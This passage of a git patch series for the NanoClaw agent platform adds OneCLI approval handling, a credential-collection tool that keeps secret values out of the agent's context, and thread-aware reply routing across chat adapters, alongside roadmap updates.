Removed `NANOCLAW_PLATFORM_ID` / `CHANNEL_TYPE` / `THREAD_ID` env-var routing entirely + ## Agent-to-Agent Communication -- [~] send_to_agent MCP tool (writes message, host-side routing TODO) -- [ ] Host delivery to target agent's session DB -- [ ] Agent spawning a new sub-agent -- [ ] Internal-only agents (no channel attached) -- [ ] Permission delegation from parent to child agent +- [x] Host delivery to target agent's session DB (`channel_type='agent'` routing in `src/delivery.ts`) +- [x] Agent spawning a new sub-agent (`create_agent` MCP tool, admin-only, path-traversal guarded) +- [x] Dynamic agent group creation (folder + optional CLAUDE.md at runtime) +- [x] Internal-only agents (agents created without a channel attached) +- [x] Permission delegation from parent to child (bidirectional destination rows inserted at creation) +- [x] Bidirectional routing via inherited routing context; sender info enriched on the target side - [ ] Specialist sub-agents (browser agent, dev agent — user's agent delegates with request/approval) +- [ ] Browser agent with per-destination permissions between main agent and browser agent (main requests navigation/interaction; browser agent executes in isolated container) +- [ ] Sanitization of browser agent responses before handing back to main agent (strip scripts, inline images, untrusted HTML; prevent prompt injection from web content) +- [ ] Same permission + sanitization model for any sub-agent that accesses sensitive data sources (files, DBs, third-party APIs) ## In-Chat Agent Management @@ -144,6 +205,32 @@ Status: [x] done, [~] partial, [ ] not started - [ ] MCP/package installation from chat - [ ] Browse MCP marketplace / skills repository from chat +## Skills & Marketplace + +- [ ] Install skills from chat (agent requests, admin approves, skill dropped into container skills dir) +- [ ] Scan skills before install (lint SKILL.md, sandbox-check shell commands, require approval for network/FS-heavy skills) +- [ ] Scan marketplace npm packages before install (supply-chain check, typo-squat detection, known-bad list) +- [ ] MCP server marketplace — discover, preview, install +- [ ] Browse skills / MCP marketplace from chat (cards with search, preview, install) +- [ ] Local voice transcription skill — "just works" install flow: when the user sends a voice message and no transcription backend is installed, the agent asks once ("Install local voice transcription?"), and on approval the skill installs a fully-local speech-to-text model (no cloud calls). Subsequent voice messages transcribe automatically. +- [ ] Fully local NanoClaw — OpenCode + Gemma 4 as the agent provider instead of Claude Code, so an entire install can run with zero cloud inference. Requires wiring OpenCode as an agent provider (see Agent Providers) and a setup path that picks local models, pulls weights, and verifies everything runs offline. + +## Container Skills + +Container skills live inside agent containers at runtime (`container/skills/`) and are loaded into every agent session. These are distinct from feature/operational skills that ship with the host. + +- [ ] Customize container skill — agent-driven customization flow (add channel, integration, behavior change) usable from inside any agent session, not just the main repo +- [ ] Debug container skill — inspect logs, session DB, MCP server state, container env, recent errors from inside the agent +- [ ] Setup container skill — first-time setup flow triggered from inside the agent (ties to host-side /setup) +- [ ] Build-system container skills: + - [ ] Karpathy LLM Wiki builder (agent scaffolds a persistent wiki knowledge base for a group) + - [ ] Generic build-system framework for agent-authored sub-systems +- [ ] NanoClaw installation diagram skill — agent generates a visual diagram of the user's current setup (agent groups, channels, wirings, destinations, sub-agents, installed packages/MCP servers) +- [ ] Video replay skill — generate Remotion (or similar) videos that replay chat flows and sessions, referencing good UI patterns to produce shareable clips +- [ ] Excitement trigger skill — detects when the user expresses excitement about the agent's capabilities or their setup, and proactively encourages generating a diagram + sharing it +- [ ] End-of-migration diagram skill — at the end of `/migrate-nanoclaw` (or any migration flow), agent generates a visual diagram of the resulting setup and suggests sharing +- [ ] End-of-setup diagram skill — at the end of first-time `/setup`, agent generates a visual diagram and suggests sharing (merges the old "Generate visual diagram of customized instance at end of setup" line from Channel Adapters) + ## Webhook Ingestion - [ ] Generic webhook endpoint for external events @@ -165,6 +252,7 @@ Status: [x] done, [~] partial, [ ] not started ## Memory - [ ] Shared memory with approval flow (write to global memory requires admin approval) +- [ ] Agent memory system skills — skills for building and managing memory systems for an agent: archive/index large collections of files and data, then expose a memory interface the agent can query and update (e.g. QMD-style systems) ## Migration From e92b245399b25664045f5d411ad2c815ac1c6827 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sat, 11 Apr 2026 17:18:21 +0300 Subject: [PATCH 108/485] =?UTF-8?q?feat(v2):=20OneCLI=200.3.1=20=E2=80=94?= =?UTF-8?q?=20approvals,=20credential=20collection,=20threaded=20routing?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Three features built on top of @onecli-sh/sdk 0.3.1, landed together because they share wiring surfaces (session DB schema, delivery dispatcher, Chat SDK bridge, channel adapter contract). ## OneCLI manual-approval handler * `src/onecli-approvals.ts` — long-polls OneCLI via the SDK's `configureManualApproval`; on each request, delivers an `ask_question` card to the admin agent group's first messaging group, persists a `pending_approvals` row, and waits on an in-memory Promise resolved by the admin's button click or an expiry timer. Expired cards are edited to "Expired (...)" and a startup sweep flushes any rows left over from a previous process. * Short 11-byte approval id (`oa-<8 base36>`) instead of the SDK's UUID so the Telegram 64-byte `callback_data` limit is respected; the OneCLI UUID stays in the persisted payload for audit. * Migration 003 consolidated: `pending_approvals` now has the OneCLI-aware columns from the start (`agent_group_id`, `channel_type`, `platform_id`, `platform_message_id`, `expires_at`, `status`), `session_id` relaxed to nullable so cross-session approvals fit. * `handleQuestionResponse` in `src/index.ts` now routes OneCLI approvals through `resolveOneCLIApproval` before falling back to the session-bound approval path. ## Credential collection from chat New `trigger_credential_collection` MCP tool — the agent researches a third-party API, calls the tool with `{name, hostPattern, headerName, valueFormat, description}`, and blocks until the host reports saved, rejected, or failed. The credential value never enters the agent's context: the user submits it into a Chat SDK Modal on the host side, the host writes it to OneCLI via a thin facade (`src/onecli-secrets.ts` — shells out to `onecli secrets create`, shape mirrors the SDK we expect upstream), and only the status string flows back to the container via a system message. * `src/credentials.ts` — host-side handler: delivers the card to the conversation's own channel (not the admin channel — credential collection is a user-facing flow, distinct from admin approval), persists a `pending_credentials` row, drives the submit → `createSecret` → notify pipeline. Falls back gracefully when the channel doesn't support modals. * `src/db/credentials.ts` + migration 005: `pending_credentials` table. * `src/channels/chat-sdk-bridge.ts`: renders a `credential_request` card, handles the `nccr:` action prefix by opening a Modal with a TextInput, registers an `onModalSubmit` handler for the `nccm:` callback prefix. * `container/agent-runner/src/mcp-tools/credentials.ts`: the blocking MCP tool, mirroring the `ask_user_question` polling pattern. * `container/agent-runner/src/db/messages-in.ts`: `findCredentialResponse` helper to pick up the system message the host writes back. ## Threaded adapter routing The destination layer previously didn't carry thread context, so agent replies to Discord always landed in the root channel regardless of which thread the inbound came from. * `ChannelAdapter.supportsThreads: boolean` — declared by every channel skill at `createChatSdkBridge`. Threaded: Discord, Slack, Teams, Google Chat, Linear, GitHub, Webex. Non-threaded: Telegram, WhatsApp Cloud, Matrix, Resend, iMessage. * `src/router.ts`: non-threaded adapters strip `threadId` at ingest (threads collapse to channel-level sessions). Threaded adapters override the wiring's `session_mode` to `'per-thread'` so each thread = a session (except `agent-shared`, which is preserved as a cross-channel intent the adapter can't know about). * `session_routing` table in `inbound.db` — single-row default reply routing written by the host on every container wake from `session.messaging_group_id` + `session.thread_id`. Forward-compat `CREATE TABLE IF NOT EXISTS` handles older session DBs lazily. * `container/agent-runner/src/db/session-routing.ts` — container-side reader. * `send_message` / `send_file` / `ask_user_question` / `send_card` / scheduling tools all default their routing (channel, platform, **and** thread) from the session when no explicit `to` is given. Explicit `to` uses the destination's channel with `thread_id = null` (cross-destination sends start a new conversation elsewhere). * `poll-loop.ts::sendToDestination` (the final-text single-destination shortcut) now inherits `thread_id` from `RoutingContext` too — this was the root cause of Discord replies landing in the root channel even after `send_message` was wired correctly. ## Related cleanups * `src/container-runner.ts`: OneCLI agent identifier switched from the lossy folder-derived string to `agent_group.id`, making `getAgentGroup(externalId)` a trivial reverse lookup for per-agent scoping. * `wakeContainer` race fix via an in-flight promise map — concurrent wakes during the async buildContainerArgs / OneCLI `applyContainerConfig` window no longer double-spawn containers against the same session directory. * `src/db/db-v2.test.ts`: dropped the brittle `expect(row.v).toBe(N)` schema version assertion — it had to be bumped on every migration addition. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/db/index.ts | 10 +- container/agent-runner/src/db/messages-in.ts | 17 + .../agent-runner/src/db/session-routing.ts | 30 ++ container/agent-runner/src/mcp-tools/core.ts | 47 ++- .../agent-runner/src/mcp-tools/credentials.ts | 132 ++++++++ container/agent-runner/src/mcp-tools/index.ts | 2 + .../agent-runner/src/mcp-tools/interactive.ts | 7 +- .../agent-runner/src/mcp-tools/scheduling.ts | 7 +- container/agent-runner/src/poll-loop.ts | 5 +- package-lock.json | 9 +- package.json | 2 +- src/channels/adapter.ts | 18 + src/channels/channel-registry.test.ts | 1 + src/channels/chat-sdk-bridge.ts | 111 ++++++- src/channels/discord.ts | 1 + src/channels/gchat.ts | 2 +- src/channels/github.ts | 2 +- src/channels/imessage.ts | 2 +- src/channels/linear.ts | 2 +- src/channels/matrix.ts | 2 +- src/channels/resend.ts | 2 +- src/channels/slack.ts | 2 +- src/channels/teams.ts | 2 +- src/channels/telegram.ts | 7 +- src/channels/webex.ts | 2 +- src/channels/whatsapp-cloud.ts | 2 +- src/container-runner.ts | 41 ++- src/credentials.ts | 312 ++++++++++++++++++ src/db/credentials.ts | 33 ++ src/db/db-v2.test.ts | 6 - src/db/index.ts | 12 + src/db/migrations/003-pending-approvals.ts | 33 +- src/db/migrations/005-pending-credentials.ts | 34 ++ src/db/migrations/index.ts | 3 +- src/db/schema.ts | 12 + src/db/sessions.ts | 29 +- src/delivery.ts | 6 + src/index.ts | 65 +++- src/onecli-approvals.ts | 252 ++++++++++++++ src/onecli-secrets.ts | 84 +++++ src/router.ts | 24 +- src/session-manager.ts | 59 ++++ src/types.ts | 30 +- 43 files changed, 1391 insertions(+), 70 deletions(-) create mode 100644 container/agent-runner/src/db/session-routing.ts create mode 100644 container/agent-runner/src/mcp-tools/credentials.ts create mode 100644 src/credentials.ts create mode 100644 src/db/credentials.ts create mode 100644 src/db/migrations/005-pending-credentials.ts create mode 100644 src/onecli-approvals.ts create mode 100644 src/onecli-secrets.ts diff --git a/container/agent-runner/src/db/index.ts b/container/agent-runner/src/db/index.ts index cbd0e7e..f7ebc06 100644 --- a/container/agent-runner/src/db/index.ts +++ b/container/agent-runner/src/db/index.ts @@ -7,7 +7,15 @@ export { touchHeartbeat, clearStaleProcessingAcks, } from './connection.js'; -export { getPendingMessages, markProcessing, markCompleted, markFailed, getMessageIn, findQuestionResponse } from './messages-in.js'; +export { + getPendingMessages, + markProcessing, + markCompleted, + markFailed, + getMessageIn, + findQuestionResponse, + findCredentialResponse, +} from './messages-in.js'; export type { MessageInRow } from './messages-in.js'; export { writeMessageOut, getUndeliveredMessages } from './messages-out.js'; export type { MessageOutRow, WriteMessageOut } from './messages-out.js'; diff --git a/container/agent-runner/src/db/messages-in.ts b/container/agent-runner/src/db/messages-in.ts index fe2a222..b3e713d 100644 --- a/container/agent-runner/src/db/messages-in.ts +++ b/container/agent-runner/src/db/messages-in.ts @@ -112,3 +112,20 @@ export function findQuestionResponse(questionId: string): MessageInRow | undefin return response; } + +/** Find a pending credential_response system message for a given credential id. */ +export function findCredentialResponse(credentialId: string): MessageInRow | undefined { + const inbound = getInboundDb(); + const outbound = getOutboundDb(); + + const response = inbound + .prepare("SELECT * FROM messages_in WHERE status = 'pending' AND kind = 'system' AND content LIKE ?") + .get(`%"credentialId":"${credentialId}"%`) as MessageInRow | undefined; + + if (!response) return undefined; + + const acked = outbound.prepare('SELECT 1 FROM processing_ack WHERE message_id = ?').get(response.id); + if (acked) return undefined; + + return response; +} diff --git a/container/agent-runner/src/db/session-routing.ts b/container/agent-runner/src/db/session-routing.ts new file mode 100644 index 0000000..94abca6 --- /dev/null +++ b/container/agent-runner/src/db/session-routing.ts @@ -0,0 +1,30 @@ +/** + * Default reply routing for this session — written by the host on every + * container wake (see src/session-manager.ts `writeSessionRouting`). + * + * Read by the MCP tools as the default destination for outbound messages + * when the agent doesn't specify an explicit `to`. This is what makes + * "agent replies in the thread it's currently in" work: the router strips + * or preserves thread_id based on the adapter's thread support, and we + * just read the fixed routing the host committed for this session. + */ +import { getInboundDb } from './connection.js'; + +export interface SessionRouting { + channel_type: string | null; + platform_id: string | null; + thread_id: string | null; +} + +export function getSessionRouting(): SessionRouting { + const db = getInboundDb(); + try { + const row = db + .prepare('SELECT channel_type, platform_id, thread_id FROM session_routing WHERE id = 1') + .get() as SessionRouting | undefined; + if (row) return row; + } catch { + // Table may not exist on an older session DB — fall through to defaults + } + return { channel_type: null, platform_id: null, thread_id: null }; +} diff --git a/container/agent-runner/src/mcp-tools/core.ts b/container/agent-runner/src/mcp-tools/core.ts index 0180b72..cef0d6c 100644 --- a/container/agent-runner/src/mcp-tools/core.ts +++ b/container/agent-runner/src/mcp-tools/core.ts @@ -11,6 +11,7 @@ import path from 'path'; import { findByName, getAllDestinations } from '../destinations.js'; import { getMessageIdBySeq, getRoutingBySeq, writeMessageOut } from '../db/messages-out.js'; +import { getSessionRouting } from '../db/session-routing.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -37,14 +38,31 @@ function destinationList(): string { /** * Resolve a destination name to routing fields. - * If `to` is omitted and the agent has exactly one destination, that one is used. - * With multiple destinations, omitting `to` is an error. + * + * If `to` is omitted, use the session's default reply routing (channel + + * thread the conversation is in) — the agent replies in place. + * + * If `to` is specified, look up the named destination; thread_id is null + * because a cross-destination send starts a new conversation elsewhere. */ function resolveRouting( to: string | undefined, -): { channel_type: string; platform_id: string; resolvedName: string } | { error: string } { - let name = to; - if (!name) { +): + | { channel_type: string; platform_id: string; thread_id: string | null; resolvedName: string } + | { error: string } { + if (!to) { + // Default: reply to whatever thread/channel this session is bound to. + const session = getSessionRouting(); + if (session.channel_type && session.platform_id) { + return { + channel_type: session.channel_type, + platform_id: session.platform_id, + thread_id: session.thread_id, + resolvedName: '(current conversation)', + }; + } + // No session routing (e.g., agent-shared or internal-only agent) — + // fall back to the legacy single-destination shortcut. const all = getAllDestinations(); if (all.length === 0) return { error: 'No destinations configured.' }; if (all.length > 1) { @@ -52,14 +70,19 @@ function resolveRouting( error: `You have multiple destinations — specify "to". Options: ${all.map((d) => d.name).join(', ')}`, }; } - name = all[0].name; + to = all[0].name; } - const dest = findByName(name); - if (!dest) return { error: `Unknown destination "${name}". Known: ${destinationList()}` }; + const dest = findByName(to); + if (!dest) return { error: `Unknown destination "${to}". Known: ${destinationList()}` }; if (dest.type === 'channel') { - return { channel_type: dest.channelType!, platform_id: dest.platformId!, resolvedName: name }; + return { + channel_type: dest.channelType!, + platform_id: dest.platformId!, + thread_id: null, + resolvedName: to, + }; } - return { channel_type: 'agent', platform_id: dest.agentGroupId!, resolvedName: name }; + return { channel_type: 'agent', platform_id: dest.agentGroupId!, thread_id: null, resolvedName: to }; } export const sendMessage: McpToolDefinition = { @@ -89,7 +112,7 @@ export const sendMessage: McpToolDefinition = { kind: 'chat', platform_id: routing.platform_id, channel_type: routing.channel_type, - thread_id: null, + thread_id: routing.thread_id, content: JSON.stringify({ text }), }); @@ -135,7 +158,7 @@ export const sendFile: McpToolDefinition = { kind: 'chat', platform_id: routing.platform_id, channel_type: routing.channel_type, - thread_id: null, + thread_id: routing.thread_id, content: JSON.stringify({ text: (args.text as string) || '', files: [filename] }), }); diff --git a/container/agent-runner/src/mcp-tools/credentials.ts b/container/agent-runner/src/mcp-tools/credentials.ts new file mode 100644 index 0000000..6a68f01 --- /dev/null +++ b/container/agent-runner/src/mcp-tools/credentials.ts @@ -0,0 +1,132 @@ +/** + * Credential collection MCP tool. + * + * trigger_credential_collection sends a card to the user and blocks until the + * host reports back whether the credential was saved, rejected, or failed. + * The credential value NEVER enters agent context — the user submits it into + * a modal whose value is consumed entirely on the host side, and the host + * only writes back a status string. + */ +import { findCredentialResponse, markCompleted } from '../db/messages-in.js'; +import { writeMessageOut } from '../db/messages-out.js'; +import type { McpToolDefinition } from './types.js'; + +function log(msg: string): void { + console.error(`[mcp-tools] ${msg}`); +} + +function generateId(): string { + return `cred-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; +} + +function ok(text: string) { + return { content: [{ type: 'text' as const, text }] }; +} + +function err(text: string) { + return { content: [{ type: 'text' as const, text: `Error: ${text}` }], isError: true }; +} + +function sleep(ms: number): Promise { + return new Promise((resolve) => setTimeout(resolve, ms)); +} + +export const triggerCredentialCollection: McpToolDefinition = { + tool: { + name: 'trigger_credential_collection', + description: + 'Collect a credential (API key, token, etc.) from the user for a third-party service. Research the service first so you can pass the correct host pattern, header name, and value format. A card is sent to the user with a button that opens a secure input modal — the value is inserted directly into OneCLI and never enters your context. Blocks until the user saves, rejects, or the request fails.', + inputSchema: { + type: 'object' as const, + properties: { + name: { + type: 'string', + description: 'Display name for the secret (e.g. "Resend API Key").', + }, + type: { + type: 'string', + enum: ['generic', 'anthropic'], + description: "Secret type. Use 'generic' for most third-party APIs; 'anthropic' is reserved for Anthropic API keys.", + }, + hostPattern: { + type: 'string', + description: 'Host pattern to match (e.g. "api.resend.com"). Used by OneCLI to know when to inject this credential.', + }, + pathPattern: { + type: 'string', + description: 'Optional path pattern to match (e.g. "/v1/*").', + }, + headerName: { + type: 'string', + description: 'Header name to inject the credential into (e.g. "Authorization"). Required for generic type.', + }, + valueFormat: { + type: 'string', + description: 'Value format template. Use {value} as the placeholder. Example: "Bearer {value}". Defaults to "{value}".', + }, + description: { + type: 'string', + description: 'User-facing explanation shown on the card and in the input modal.', + }, + timeout: { + type: 'number', + description: 'Timeout in seconds (default: 600).', + }, + }, + required: ['name', 'hostPattern'], + }, + }, + async handler(args) { + const name = args.name as string; + const type = ((args.type as string) || 'generic') as 'generic' | 'anthropic'; + const hostPattern = args.hostPattern as string; + const pathPattern = (args.pathPattern as string) || ''; + const headerName = (args.headerName as string) || ''; + const valueFormat = (args.valueFormat as string) || ''; + const description = (args.description as string) || ''; + const timeoutMs = ((args.timeout as number) || 600) * 1000; + + if (!name || !hostPattern) return err('name and hostPattern are required'); + + const credentialId = generateId(); + writeMessageOut({ + id: credentialId, + kind: 'system', + content: JSON.stringify({ + action: 'request_credential', + credentialId, + name, + type, + hostPattern, + pathPattern, + headerName, + valueFormat, + description, + }), + }); + + log(`trigger_credential_collection: ${credentialId} → ${name} (${hostPattern})`); + + const deadline = Date.now() + timeoutMs; + while (Date.now() < deadline) { + const response = findCredentialResponse(credentialId); + if (response) { + const parsed = JSON.parse(response.content) as { + status: 'saved' | 'rejected' | 'failed'; + detail?: string; + }; + markCompleted([response.id]); + log(`trigger_credential_collection result: ${credentialId} → ${parsed.status}`); + if (parsed.status === 'saved') return ok(parsed.detail || 'Credential saved.'); + if (parsed.status === 'rejected') return err(parsed.detail || 'Credential request rejected.'); + return err(parsed.detail || 'Credential request failed.'); + } + await sleep(1000); + } + + log(`trigger_credential_collection timeout: ${credentialId}`); + return err(`Credential request timed out after ${timeoutMs / 1000}s`); + }, +}; + +export const credentialTools: McpToolDefinition[] = [triggerCredentialCollection]; diff --git a/container/agent-runner/src/mcp-tools/index.ts b/container/agent-runner/src/mcp-tools/index.ts index b1e7bbd..fb427b5 100644 --- a/container/agent-runner/src/mcp-tools/index.ts +++ b/container/agent-runner/src/mcp-tools/index.ts @@ -15,6 +15,7 @@ import { schedulingTools } from './scheduling.js'; import { interactiveTools } from './interactive.js'; import { agentTools } from './agents.js'; import { selfModTools } from './self-mod.js'; +import { credentialTools } from './credentials.js'; function log(msg: string): void { console.error(`[mcp-tools] ${msg}`); @@ -32,6 +33,7 @@ const allTools: McpToolDefinition[] = [ ...interactiveTools, ...conditionalAgentTools, ...selfModTools, + ...credentialTools, ]; const toolMap = new Map(); diff --git a/container/agent-runner/src/mcp-tools/interactive.ts b/container/agent-runner/src/mcp-tools/interactive.ts index f726876..330c50c 100644 --- a/container/agent-runner/src/mcp-tools/interactive.ts +++ b/container/agent-runner/src/mcp-tools/interactive.ts @@ -6,6 +6,7 @@ */ import { findQuestionResponse, markCompleted } from '../db/messages-in.js'; import { writeMessageOut } from '../db/messages-out.js'; +import { getSessionRouting } from '../db/session-routing.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -17,11 +18,7 @@ function generateId(): string { } function routing() { - return { - platform_id: process.env.NANOCLAW_PLATFORM_ID || null, - channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, - thread_id: process.env.NANOCLAW_THREAD_ID || null, - }; + return getSessionRouting(); } function ok(text: string) { diff --git a/container/agent-runner/src/mcp-tools/scheduling.ts b/container/agent-runner/src/mcp-tools/scheduling.ts index be3b576..6d32e88 100644 --- a/container/agent-runner/src/mcp-tools/scheduling.ts +++ b/container/agent-runner/src/mcp-tools/scheduling.ts @@ -7,6 +7,7 @@ */ import { getInboundDb } from '../db/connection.js'; import { writeMessageOut } from '../db/messages-out.js'; +import { getSessionRouting } from '../db/session-routing.js'; import type { McpToolDefinition } from './types.js'; function log(msg: string): void { @@ -18,11 +19,7 @@ function generateId(): string { } function routing() { - return { - platform_id: process.env.NANOCLAW_PLATFORM_ID || null, - channel_type: process.env.NANOCLAW_CHANNEL_TYPE || null, - thread_id: process.env.NANOCLAW_THREAD_ID || null, - }; + return getSessionRouting(); } function ok(text: string) { diff --git a/container/agent-runner/src/poll-loop.ts b/container/agent-runner/src/poll-loop.ts index 52b3839..208c89a 100644 --- a/container/agent-runner/src/poll-loop.ts +++ b/container/agent-runner/src/poll-loop.ts @@ -387,13 +387,16 @@ function dispatchResultText(text: string, routing: RoutingContext): void { function sendToDestination(dest: DestinationEntry, body: string, routing: RoutingContext): void { const platformId = dest.type === 'channel' ? dest.platformId! : dest.agentGroupId!; const channelType = dest.type === 'channel' ? dest.channelType! : 'agent'; + // Inherit thread_id from the inbound routing context so replies land in the + // same thread the conversation is in. For non-threaded adapters the router + // strips thread_id at ingest, so this will already be null. writeMessageOut({ id: generateId(), in_reply_to: routing.inReplyTo, kind: 'chat', platform_id: platformId, channel_type: channelType, - thread_id: null, + thread_id: routing.threadId, content: JSON.stringify({ text: body }), }); } diff --git a/package-lock.json b/package-lock.json index 6a1e28c..bd9276d 100644 --- a/package-lock.json +++ b/package-lock.json @@ -19,7 +19,7 @@ "@chat-adapter/teams": "^4.24.0", "@chat-adapter/telegram": "^4.24.0", "@chat-adapter/whatsapp": "^4.24.0", - "@onecli-sh/sdk": "^0.2.0", + "@onecli-sh/sdk": "^0.3.1", "@resend/chat-sdk-adapter": "^0.1.1", "better-sqlite3": "11.10.0", "chat": "^4.24.0", @@ -1881,9 +1881,10 @@ } }, "node_modules/@onecli-sh/sdk": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/@onecli-sh/sdk/-/sdk-0.2.0.tgz", - "integrity": "sha512-u7PqWROEvTV9f0ADVkjigTrd2AZn3klbPrv7GGpeRHIJpjAxJUdlWqxr5kiGt6qTDKL8t3nq76xr4X2pxTiyBg==", + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@onecli-sh/sdk/-/sdk-0.3.1.tgz", + "integrity": "sha512-oMSa4DUCVS52vec41nFOg3XdCBTbMVEZdCFCsaUd9sRXVorCPWd3VyZq4giXsmk4g09DA/zLjsnrY7l6G94Ulg==", + "license": "MIT", "engines": { "node": ">=20" } diff --git a/package.json b/package.json index 1997774..c63213c 100644 --- a/package.json +++ b/package.json @@ -32,7 +32,7 @@ "@chat-adapter/teams": "^4.24.0", "@chat-adapter/telegram": "^4.24.0", "@chat-adapter/whatsapp": "^4.24.0", - "@onecli-sh/sdk": "^0.2.0", + "@onecli-sh/sdk": "^0.3.1", "@resend/chat-sdk-adapter": "^0.1.1", "better-sqlite3": "11.10.0", "chat": "^4.24.0", diff --git a/src/channels/adapter.ts b/src/channels/adapter.ts index d02f62c..00e942d 100644 --- a/src/channels/adapter.ts +++ b/src/channels/adapter.ts @@ -27,6 +27,12 @@ export interface ChannelSetup { /** Called when a user clicks a button/action in a card (e.g., ask_user_question response). */ onAction(questionId: string, selectedOption: string, userId: string): void; + + /** Credential collection hooks — used by chat-sdk-bridge to route the modal flow. */ + getCredentialForModal?(credentialId: string): { name: string; description: string | null; hostPattern: string } | null; + onCredentialReject?(credentialId: string): void; + onCredentialSubmit?(credentialId: string, value: string): void; + onCredentialChannelUnsupported?(credentialId: string): void; } /** Inbound message from adapter to host. */ @@ -62,6 +68,18 @@ export interface ChannelAdapter { name: string; channelType: string; + /** + * Whether this adapter models conversations as threads. + * + * true — adapter's platform uses threads as the primary conversation unit + * (Discord, Slack, Linear, GitHub). One thread = one session; the + * agent replies into the originating thread. + * false — adapter's platform treats the channel itself as the conversation + * (Telegram, WhatsApp, iMessage). Thread ids are stripped at the + * router; agent replies go to the channel. + */ + supportsThreads: boolean; + // Lifecycle setup(config: ChannelSetup): Promise; teardown(): Promise; diff --git a/src/channels/channel-registry.test.ts b/src/channels/channel-registry.test.ts index fafb565..b773162 100644 --- a/src/channels/channel-registry.test.ts +++ b/src/channels/channel-registry.test.ts @@ -39,6 +39,7 @@ function createMockAdapter( return { name: channelType, channelType, + supportsThreads: false, delivered, inbound, diff --git a/src/channels/chat-sdk-bridge.ts b/src/channels/chat-sdk-bridge.ts index 9f8f9d2..ab49adf 100644 --- a/src/channels/chat-sdk-bridge.ts +++ b/src/channels/chat-sdk-bridge.ts @@ -12,6 +12,8 @@ import { CardText, Actions, Button, + Modal, + TextInput, type Adapter, type ConcurrencyStrategy, type Message as ChatMessage, @@ -47,6 +49,13 @@ export interface ChatSdkBridgeConfig { botToken?: string; /** Platform-specific reply context extraction. */ extractReplyContext?: ReplyContextExtractor; + /** + * Whether this platform uses threads as the primary conversation unit. + * See `ChannelAdapter.supportsThreads`. Declared by the calling channel + * skill, not inferred, because some platforms (Discord) can be used either + * way and the default depends on installation style. + */ + supportsThreads: boolean; } export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter { @@ -116,6 +125,7 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter return { name: adapter.name, channelType: adapter.name, + supportsThreads: config.supportsThreads, async setup(hostConfig: ChannelSetup) { setupConfig = hostConfig; @@ -151,8 +161,75 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter await thread.subscribe(); }); - // Handle button clicks (ask_user_question responses) + // Handle button clicks (ask_user_question, credential card) chat.onAction(async (event) => { + // Credential card actions: nccr:: + if (event.actionId.startsWith('nccr:')) { + const [, credentialId, subAction] = event.actionId.split(':'); + if (!credentialId || !subAction) return; + + if (subAction === 'reject') { + try { + await adapter.editMessage(event.threadId, event.messageId, { + markdown: `🔑 Credential request\n\n❌ Rejected`, + }); + } catch (err) { + log.warn('Failed to update credential card after reject', { err }); + } + setupConfig.onCredentialReject?.(credentialId); + return; + } + + if (subAction === 'enter') { + const pending = setupConfig.getCredentialForModal?.(credentialId); + if (!pending) { + log.warn('Credential card clicked but row not pending', { credentialId }); + return; + } + try { + const modalChildren = [ + CardText( + pending.description ?? + `Enter the value for ${pending.name} (host: ${pending.hostPattern}).`, + ), + TextInput({ + id: 'value', + label: pending.name, + placeholder: 'Paste your credential value', + }), + ]; + // Modal children include a text element for context; the SDK + // accepts TextElement in ModalChild so this is valid. + // eslint-disable-next-line @typescript-eslint/no-explicit-any + const modal = Modal({ + callbackId: `nccm:${credentialId}`, + title: 'Enter credential', + submitLabel: 'Save', + // eslint-disable-next-line @typescript-eslint/no-explicit-any + children: modalChildren as any, + }); + const result = await event.openModal(modal); + if (!result) { + log.warn('openModal returned undefined — channel unsupported', { credentialId }); + setupConfig.onCredentialChannelUnsupported?.(credentialId); + try { + await adapter.editMessage(event.threadId, event.messageId, { + markdown: `🔑 Credential request\n\n⚠️ This channel does not support modals.`, + }); + } catch { + // best effort + } + } + } catch (err) { + log.error('Failed to open credential modal', { credentialId, err }); + setupConfig.onCredentialChannelUnsupported?.(credentialId); + } + return; + } + + return; + } + if (!event.actionId.startsWith('ncq:')) return; const parts = event.actionId.split(':'); if (parts.length < 3) return; @@ -173,6 +250,18 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter setupConfig.onAction(questionId, selectedOption, userId); }); + // Modal submissions for credential collection + chat.onModalSubmit(async (event) => { + if (!event.callbackId.startsWith('nccm:')) return; + const credentialId = event.callbackId.slice('nccm:'.length); + const value = event.values?.value ?? ''; + if (!value) { + log.warn('Credential modal submitted with empty value', { credentialId }); + return; + } + setupConfig.onCredentialSubmit?.(credentialId, value); + }); + await chat.initialize(); // Start Gateway listener for adapters that support it (e.g., Discord) @@ -259,6 +348,26 @@ export function createChatSdkBridge(config: ChatSdkBridgeConfig): ChannelAdapter return result?.id; } + // Credential request card — buttons open a modal for secure input + if (content.type === 'credential_request' && content.credentialId) { + const credentialId = content.credentialId as string; + const card = Card({ + title: '🔑 Credential request', + children: [ + CardText(content.question as string), + Actions([ + Button({ id: `nccr:${credentialId}:enter`, label: 'Enter credential', value: 'enter' }), + Button({ id: `nccr:${credentialId}:reject`, label: 'Reject', value: 'reject' }), + ]), + ], + }); + const result = await adapter.postMessage(tid, { + card, + fallbackText: `Credential request — open in a channel that supports modals.`, + }); + return result?.id; + } + // Normal message const text = (content.markdown as string) || (content.text as string); if (text) { diff --git a/src/channels/discord.ts b/src/channels/discord.ts index d23a1e2..6d87634 100644 --- a/src/channels/discord.ts +++ b/src/channels/discord.ts @@ -32,6 +32,7 @@ registerChannelAdapter('discord', { concurrency: 'concurrent', botToken: env.DISCORD_BOT_TOKEN, extractReplyContext, + supportsThreads: true, }); }, }); diff --git a/src/channels/gchat.ts b/src/channels/gchat.ts index 48376f2..98fc539 100644 --- a/src/channels/gchat.ts +++ b/src/channels/gchat.ts @@ -15,6 +15,6 @@ registerChannelAdapter('gchat', { const gchatAdapter = createGoogleChatAdapter({ credentials: JSON.parse(env.GCHAT_CREDENTIALS), }); - return createChatSdkBridge({ adapter: gchatAdapter, concurrency: 'concurrent' }); + return createChatSdkBridge({ 